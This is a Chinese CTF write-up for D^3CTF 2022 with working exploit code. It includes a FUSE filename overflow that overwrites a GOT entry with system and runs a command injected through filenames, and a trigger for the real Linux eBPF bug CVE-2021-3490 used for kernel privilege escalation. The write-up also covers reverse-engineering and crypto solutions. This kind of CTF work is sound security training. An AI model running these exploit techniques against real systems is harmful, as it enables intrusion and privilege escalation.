PKUCC D^3CTF 2022 Writeup
[PWN] d3fuse
逆向,如题目名所示,是一个libfuse实现的用户态文件系统,简单看一下发现没有检查文件名长度,如果文件名长度超过32个字节就会溢出覆盖后面的文件长度和指向文件内容的指针
因为没开PIE,所以直接把指针覆盖到函数free的got表地址,读取一下得到libc中free函数的地址,再把它覆盖成system,这样程序仍然可以正确运行,不过只要我们构造一下cp /flag /chroot/rwdir就可以得到flag,这里因为文件路径会先strdup再free,利用文件名就可以做到
代码:
#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdint.h>
#include <stdio.h>
#define PRE "mnt/"
#define A1 "a"
#define A2 A1 A1
#define A4 A2 A2
#define A8 A4 A4
#define A16 A8 A8
#define A32 A16 A16
#define INF "\x7f\x7f\x7f\x7f"
#define PREFIX PRE A32 INF INF
#define RW(rw, pos, off, sz, data) ({ \
creat(PREFIX pos, 0644); \
int fd = open(PRE A32, O_RDWR | O_DIRECT); \
p##rw(fd, data, sz, off); \
close(fd); \
})
#define RD(pos, off, sz, data) RW(read, pos, off, sz, data)
#define WR(pos, off, sz, data) RW(write, pos, off, sz, data)
#define RD8(pos, off) ({ \
char __buf[8]; \
RD(pos, off, 8, __buf); \
*(uint64_t *) __buf; \
})
int main(void)
{
uintptr_t free = RD8("\x18\x50\x40", 0);
uintptr_t system = free - 0x48440;
printf("free: %p\nsystem: %p\n", (void *) free, (void *) system);
WR("\x18\x50\x40", 0, 8, (char *) &system);
mkdir(PRE "; cp ", 0755);
mkdir(PRE "; cp /flag ", 0755);
mkdir(PRE "; cp /flag /chroot", 0755);
creat(PRE "; cp /flag /chroot/rwdir", 0644);
return 0;
}
[PWN] d3bpf
题目使用的 linux 5.11 存在 CVE-2021-3490 漏洞,刚好看过安全客上这个CVE的分析文章,作者也给了exp,所以直接改了exp里的偏移打通了。
漏洞成因是AND/OR/XOR指令在处理32位寄存器时没有正确设置有无符号的min和max值。 adjust_scalar_min_max_vals在更新边界时,会调用scalar32_min_max_and和scalar_min_max_and分别更新32位和64位边界,但是开发者错误地假设了处理64位的scalar_min_max_and的__mark_reg_known(dst_reg, dst_reg->var_off.value);会帮32位更新边界,因此没有在32位的scalar32_min_max_and里写边界更新函数。
但实际上,64位的scalar_min_max_and会使用__mark_reg_known更新32位边界的条件是,src和dst都是64位数,因此,32位的dst_reg并没有更新边界。这导致32位的dst_reg的边界是计算前的值,而非计算后的值。
BPF_LD_IMM64(BPF_REG_8, 0x1), // 2: (18) r8 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32), // 4: (67) r8 <<= 32 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2), // 5: (07) r8 += 2 0x10000 0002
BPF_MAP_GET(0, BPF_REG_5), // 13: (79) r5 = *(u64 *)(r0 +0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // 15: (bf) r6 = r5
BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF), // 16: (18) r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // 18: (67) r2 <<= 32 0xFFFFFFFF00000000
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2), // 19: (5f) r6 &= r2 高32位 unknown, 低32位known 为0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // 20: (07) r6 += 1 mask = 0xFFFFFFFF00000000, value = 0x1
// trigger the vulnerability
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8), // 21: (5f) r6 &= r8 r6: u32_min_value=1, u32_max_value=0
// BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // 26: (bc) w6 = w6 对64位进行截断,只看32位部分
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // 22: (07) r6 += 1 r6: u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}
BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1), // 23: (b6) if w5 <= 0x1 goto pc+1 r5: u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
BPF_EXIT_INSN(),
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // 25: (0f) r6 += r5 r6: verify:2 fact:1
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // 26: (bc) w6 = w6 对64位进行截断,只看32位部分
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // r6: verify:0 fact:1
EXP太长就不放了,这里是改动部分:
#define LEAKED 0x10363a0
...
#define INIT_PID_NS 0x1a6b2c0
..
size_t task_addr = read64(init_pid_ns+0x30);
while(1)
{
pid_t p = read64(task_addr+0x918);
printf("iter pid %d ...\n", p);
if(p == pid)
{
puts("got it!");
cred_addr = read64(task_addr+0xad8);
break;
}
else
{
task_addr = read64(task_addr+0x818) - 0x818;
printf("[+] iter task %p ...\n", task_addr);
}
}
...
//d3ctf{yOU_ju5t-foOlEd-thE-VeR!FIeR!!!}
[RE] d3mug
是一个unity游戏,用Il2CppDumper可以得到libil2cpp.so中的函数名以及类结构
题目开头说了AP得到flag,可以猜到AP是All Perfect的意思,根据逆向得到的结果Perfect要求note的消除时间和预期消除时间相差不超过0.02秒,同时当前时间又可以看到是通过FixedUpdate更新的,直接上gdb调试把时间精度拉出来发现0.02秒,这里的逻辑本应该是All Perfect条件下恰好每个note有一个唯一的消除时间,再结合消除时候会调用libd3mug.so::update(current time),最后调用libd3mug.so::get()如果返回的字符串以D3CTF开头就会打印在屏幕上,那么正常的逻辑是模拟游戏中可能发生的结果,我这里提取出来写了如下的程序:
#include <dlfcn.h>
#include <math.h>
#include <stdio.h>
#include "hitpoints.h"
int main(void)
{
void *handle = dlopen("libd3mug.so", RTLD_LAZY);
char *(*get)() = (char *(*)()) dlsym(handle, "get");
void (*update)(int) = (void (*)(int)) dlsym(handle, "update");
printf("%lu hitpoints\n", sizeof(hitpoints) / sizeof(hitpoints[0]));
double now = -3.0;
for (unsigned int i = 0;
i < sizeof(hitpoints) / sizeof(hitpoints[0]);
++i)
{
float time = (float) hitpoints[i] / 1000.0f;
while (fabsf(time - (float) now) >= 0.02)
now += 0.02f;
if ((float) now * 1000.0f >= 0.0f)
(*update)((unsigned int) ((float) now * 1000.0f));
else
(*update)((int) ((float) now * 1000.0f));
}
printf("%s\n", (*get)());
dlclose(handle);
return 0;
}
其中hitpoints是从data.unity3d中解压出来的每个note的预期消除时间
这样做得到了乱码,因为程序中对float和double的用法十分混乱,花了半天多的时间来一行一行对照程序中的浮点数操作和我自己写的代码的浮点数操作,甚至至逐条对比了编译后的汇编指令,而且还同过gdb验证了很多中间结果的正确性,都没有发现问题
最后放弃治疗后瞎试,发现直接调用update(hitpoints[i])就可以得到flag,这意味着程序中0.02s这个条件毫无用处,而且还奇妙地和时间的更新单位相等导致我误以为这样唯一决定的all perfect结果就是正解,而实际的正解(即直接在hitpoints[i]这个时间点消除)因为帧率限制(50fps)是无法在游戏中发生的,何况就算可以发生,all perfect的结果将不唯一(游戏中认为0.02s内就是perfect),并不能从这个条件直接推出flag,所以个人感觉这题十分令人困惑,逻辑并不合理
[RE] d3w0w
直接看main函数里的内容,比较简单,读一个长度为39的串,然后过两个检查函数sub_4010000和sub_401220,假如都返回0就成功,前一个判断函数较短,后一个判断函数挺长的。
看sub_401000,一开始先判断了读入字符串的基本格式是d3ctf{2.........},大括号里面推断是1234这四种字符,如果暴力跑的话应该是4^31。看下面这个改值的索引,有点像是迷宫,v5表示行,v4表示列,然后二进制编码上下左右是否有墙之类的。假如说1表示向上走,那么二进制编码为8表示上方有墙(或者表示这个格子向上走过),2表示下方,3表示向左走的话就是4表示左方,1表示右方。然后会过一个范围判断,要求行和列都在[0, 5]之内。但看起来这一部分只是往迷宫里填了一些内容,并没有说撞墙就会死什么的。一开始要求是个2,并且从0,0开始,意味着一开始从左上角向下走了一步。
第二个判断函数应该是处理过的,代码十分乱而且报栈有问题,但是从逻辑上看还是在处理第一部分得到的那个编码后的二维数组。
这可能是一种混淆手段,详见https://reverseengineering.stackexchange.com/questions/1654/what-is-the-reason-for-this-method-to-call-itself。那么正确的理解方式应该是屏蔽掉那个retf,将后面的代码也算作这个函数的一部分?
第二个函数较为凌乱,但是一些逻辑上的判断和第一部分是吻合的。比如说边界条件,当j=0时,是最左一列的格子,注意到代码里面有一句%8/4,实际上是提取4这一位是否为1,那么假如其操作数就是那个格子的话,就相当于判断最左边列的格子有没有向左走过。同理,最右边的列要判断右墙(%2),最上面的格子要判断上墙(%16/8),最下面格子要判断下墙(%4/2)。之所以写成取模接除法的形式,应该是想和前面的位运算区别开来混淆。
如果说取模和除法是针对对应二进制位的提取,一个猜想是,前面那一堆EAX和ECX的操作实际上是提取(i, j)格子对应的那个二进制记录。那么针对第一个二重循环的解释就是,检查所有的格子是否都满足小于0xF(显然,因为是对周围四面墙的编码),以及每个格子最多只有两面墙被走过。
下面两个循环的检查有点复杂,大概就是说“上下都走过,但左右左右都没走”就会crash之类的,没太看明白,跳过了。
最后一个循环比较关键,相当于对整个走的过程做一个模拟,因为每个格子有两个方向是走过的,所以必然是一进一出,那么算法会自动找到对应的出口并往那走一步,并且检查是不是走回了原点之类的。
那么根据以上的信息,我推断这一题的输入可能是和哈密尔顿回路有关。要求输入的步数为32步,意味着总共走了33个格子,一共是6*6=36个格子。
接下来有两个思路,一个是继续逆向出那一堆比较难懂的东西到底是什么意思,另一个我能想到的思路是做fuzzing,输入设为是哈密尔顿路径,然后对这个二进制程序插桩到那几个大循环之间,观察程序的行为,判断出那几个大循环是针对什么东西进行的检查。
测了一下,不走重复格子的路径一共就20多万种,正在尝试爆破,并没有成功,所有结果都没有通过。有没有可能是main函数里面的代码实际没有执行呢?将判断条件反过来试一下,发现确实是可以起作用的,因此实际是会执行main函数里的内容的。然后我发现以回到环路的方式测这个位置就成功了,也就是说d3ctf{24444233332444423324441111133333}这个样例是可以通过这里的测试的。最终用爆破环路的方式来解。 d3ctf{22441442223133324424441111133333}成立
[Crypto] d3qcg
首先解一个模p的二元方程,{x,y}的upper bound是2**UnKnownBits,根据jochemsz_may_modular方法,可以求出对应的低位的数值,从而得到初始状态的num。参考文献: Jochemsz E., May A., "A Strategy for Finding Roots of Multivariate Polynomials with New Applications in Attacking RSA Variants" (Section 2.1))
然后再是一个模p的一元方程,直接用roots解得两个根。试验一下,可以根据其中一个得到正确答案。解答的代码:
from shared.small_roots import jochemsz_may_modular
p = 7386537185240346459857715381835501419533088465984777861268951891482072249822526223542514664598394978163933836402581547418821954407062640385756448408431347
a = 3591518680290719943596137190796366296374484536382380061852237064647969442581391967815457547858969187198898670115651116598727939742165753798804458359397101
c = 6996824752943994631802515921125382520044917095172009220000813718617441355767447428067985103926211738826304567400243131010272198095205381950589038817395833
high0 = 67523583999102391286646648674827012089888650576715333147417362919706349137337570430286202361838682309142789833
high1 = 70007105679729967877791601360700732661124470473944792680253826569739619391572400148455527621676313801799318422
Pr.<x,y> = Zmod(p)["x","y"]
f = a * (high0*2**UnKnownBits+x)**2 + c - high1*2**UnKnownBits - y
X = [int(2**UnKnownBits),int(2**UnKnownBits)]
m,t= 4,2
strategy = jochemsz_may_modular.ExtendedStrategy([t, 0])
num0,num1 = high0*2**UnKnownBits, high1*2**UnKnownBits
for xx,yy in jochemsz_may_modular.modular_multivariate(f,p,m,X,strategy):
print(xx,yy)
num0 += xx
num1 += yy
# 求解secret
Pr.<z> = Zmod(p)["z"]
f = a*z**2 + c - num0
f.monic().roots()
输出(其中3345361405203462981041847914374453868599106060665812229784462734764742247048957655005612474587555839753748604882708741687926147536458567411789178129398205为正确的secret值)
50712831100361370819145886978385347931029768 9089234402520025586415667640120652372860183
[(4041175780036883478815867467461047550933982405318965631484489156717330002773568568536902190010839138410185231519872805730895806870604072973967270279033142,
1),
(3345361405203462981041847914374453868599106060665812229784462734764742247048957655005612474587555839753748604882708741687926147536458567411789178129398205,
1)]
secret = 3345361405203462981041847914374453868599106060665812229784462734764742247048957655005612474587555839753748604882708741687926147536458567411789178129398205
enc = 6176615302812247165125832378994890837952704874849571780971393318502417187945089718911116370840334873574762045429920150244413817389304969294624001945527125
long_to_bytes(bytes_to_long(hashlib.sha512(b'%d'%(secret)).digest())^^enc)
#b'Here_is_ur_flag!:)d3ctf{th3_c0oppbpbpbp3rsM1th_i5_s0_1ntr35ting}'
[Crypto] d3bug
设message的每一位分别为x1-x64(最高位为x1,最低位为x64),然后myResult和standardResult都是x1-x64的xor运算及其取反;可以用Mathematica把每位的表达式计算出来。可以发现myResult的后34位就是x1-x34,代入后解xor方程即可(Mathematica有SatisfiabilityInstances函数直接求解)。注意Mathematica算出的standardResult表达式里面有大量嵌套括号导致SatisfiabilityInstances运算无法进行,但是xor是结合的,因此可以把所有括号直接删掉,然后(因为&&优先级高于xor)在&&的每项再加括号。
其实知道x1-x34之后甚至可以直接暴力枚举后30位。